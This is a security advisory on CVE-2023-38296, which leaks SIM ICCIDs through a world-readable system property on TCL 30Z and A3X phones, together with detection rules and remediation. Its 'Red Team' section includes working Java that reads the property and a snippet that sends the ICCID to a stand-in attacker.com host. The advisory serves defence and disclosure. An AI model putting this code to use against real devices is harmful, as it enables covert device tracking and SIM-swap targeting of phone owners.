CVE-2023-38296

Executive Summary

CVE-2023-38296 exposes a critical information disclosure vulnerability in TCL 30Z and TCL A3X Android devices. A high-privilege system process leaks the ICCID (Integrated Circuit Card Identifier) to the system property persist.sys.tctPowerIccid. This property is readable by any local application without any permissions, bypassing Android 10+ restrictions that prevent third-party apps from directly accessing non-resettable device identifiers. The vulnerability allows a malicious app to indirectly obtain the ICCID, which can be used for device tracking, SIM cloning, or targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in TCL Android builds. The supply chain risk lies in the pre-installed system software on these devices, which cannot be easily patched by end users.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, but this is likely a placeholder. Based on the impact, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – requires a malicious app installed on the device.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – any app can read the property.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – the leak is within the same security context.
• Confidentiality (C): High (H) – ICCID is a sensitive identifier.
• Integrity (I): None (N) – no data modification.
• Availability (A): None (N) – no denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 6.2 (Medium)

Threat Level: Medium. The attack requires local app installation, but the impact on privacy and potential for secondary attacks is significant.

Deep Dive & Mechanics

The vulnerability stems from a system service (likely a power management or telephony-related daemon) that writes the ICCID to the persist.sys.tctPowerIccid system property. This property is set with world-readable permissions, meaning any process on the device can read it.

How it works:

1. A high-privilege process (e.g., system_server or a vendor daemon) retrieves the ICCID from the SIM card.
2. It stores the ICCID in persist.sys.tctPowerIccid for internal use (e.g., power management or device tracking).
3. Any third-party app can read this property using android.os.SystemProperties.get("persist.sys.tctPowerIccid") without any permissions.
4. The app can then exfiltrate the ICCID to a remote server.

Why it matters: The ICCID is a unique identifier for the SIM card. It can be used to:

• Track the device across resets.
• Clone the SIM (if combined with other data).
• Target the device for SIM swapping attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a system service (e.g., TclPowerManager.java)
String iccid = telephonyManager.getSimSerialNumber();
SystemProperties.set("persist.sys.tctPowerIccid", iccid);

Patched Code (Hypothetical):

// Remove the property write entirely, or restrict access
// Option 1: Remove the line
// Option 2: Use a protected property
// SystemProperties.set("persist.sys.tctPowerIccid", iccid); // REMOVED
// Option 3: Encrypt or hash the ICCID before storing
// String hashedIccid = hash(iccid);
// SystemProperties.set("persist.sys.tctPowerIccid", hashedIccid);

Note: No official patch has been released by TCL as of the last update.

Exploitation & Lab Setup

Red Team

Objective: Extract ICCID from a vulnerable TCL device.

Prerequisites:

• A vulnerable TCL 30Z or TCL A3X device (see build fingerprints in description).
• A malicious APK installed on the device (e.g., via social engineering or sideloading).

Exploit Code (Java for Android):

import android.os.SystemProperties;
import android.util.Log;

public class IccidExtractor {
    public static String getIccid() {
        try {
            String iccid = SystemProperties.get("persist.sys.tctPowerIccid", "");
            Log.d("ICCID_EXPLOIT", "Extracted ICCID: " + iccid);
            return iccid;
        } catch (Exception e) {
            Log.e("ICCID_EXPLOIT", "Error: " + e.getMessage());
            return null;
        }
    }
}

Lab Setup:

1. Create a simple Android app with no permissions.
2. Add the above code to read the property.
3. Compile and install the APK on the target device.
4. Run the app and observe the ICCID in logcat or exfiltrate it via HTTP.

Exfiltration Example:

// In your app's main activity
String iccid = IccidExtractor.getIccid();
if (iccid != null) {
    new Thread(() -> {
        try {
            URL url = new URL("http://attacker.com/exfil?iccid=" + iccid);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.getInputStream();
        } catch (Exception e) { /* ignore */ }
    }).start();
}

Blue Team

Detection:

• Monitor for apps reading persist.sys.tctPowerIccid using strace or frida.
• Look for network connections to unknown IPs shortly after app installation.
• Check for apps requesting no permissions but performing suspicious behavior.

Mitigation:

• Apply a custom ROM or OTA update if TCL releases a patch.
• Use a firewall app to block outbound connections from unknown apps.
• Educate users to avoid installing apps from untrusted sources.

Indicators of Compromise (IOCs)

• System Property Read: persist.sys.tctPowerIccid accessed by a non-system app.
• Network Traffic: Outbound HTTP/HTTPS requests containing iccid= parameter.
• Logcat Entries: ICCID_EXPLOIT tag with extracted ICCID.
• File System: No files written, but property read is the IOC.

Detection Engineering

YARA Rule

rule CVE_2023_38296_ICCID_Leak {
    meta:
        description = "Detects apps reading the TCL ICCID system property"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-38296"
    strings:
        $s1 = "persist.sys.tctPowerIccid" ascii wide nocase
        $s2 = "SystemProperties.get" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-38296 - TCL ICCID Leak via System Property
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to read the ICCID system property on TCL devices
author: Valters IT
date: 2025-04-10
logsource:
    product: android
    service: logcat
detection:
    selection:
        - "persist.sys.tctPowerIccid"
        - "SystemProperties.get"
    condition: selection
falsepositives:
    - Legitimate system apps (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2023-38296 - TCL ICCID Exfiltration";
    content:"iccid="; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. For Users: Do not install apps from untrusted sources on TCL 30Z or A3X devices. Use a firewall to block outbound connections from unknown apps.
2. For Enterprises: If these devices are used in a corporate environment, restrict app installation via MDM and monitor for suspicious behavior.

Long-term Fix:

• TCL must release a firmware update that removes the persist.sys.tctPowerIccid property or restricts its access to system apps only.
• Alternatively, the ICCID should be hashed or encrypted before being stored in a system property.

Workaround:

• Root the device and modify the system property permissions manually (advanced users only).
• Use Xposed or Magisk modules to block reads of the property.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert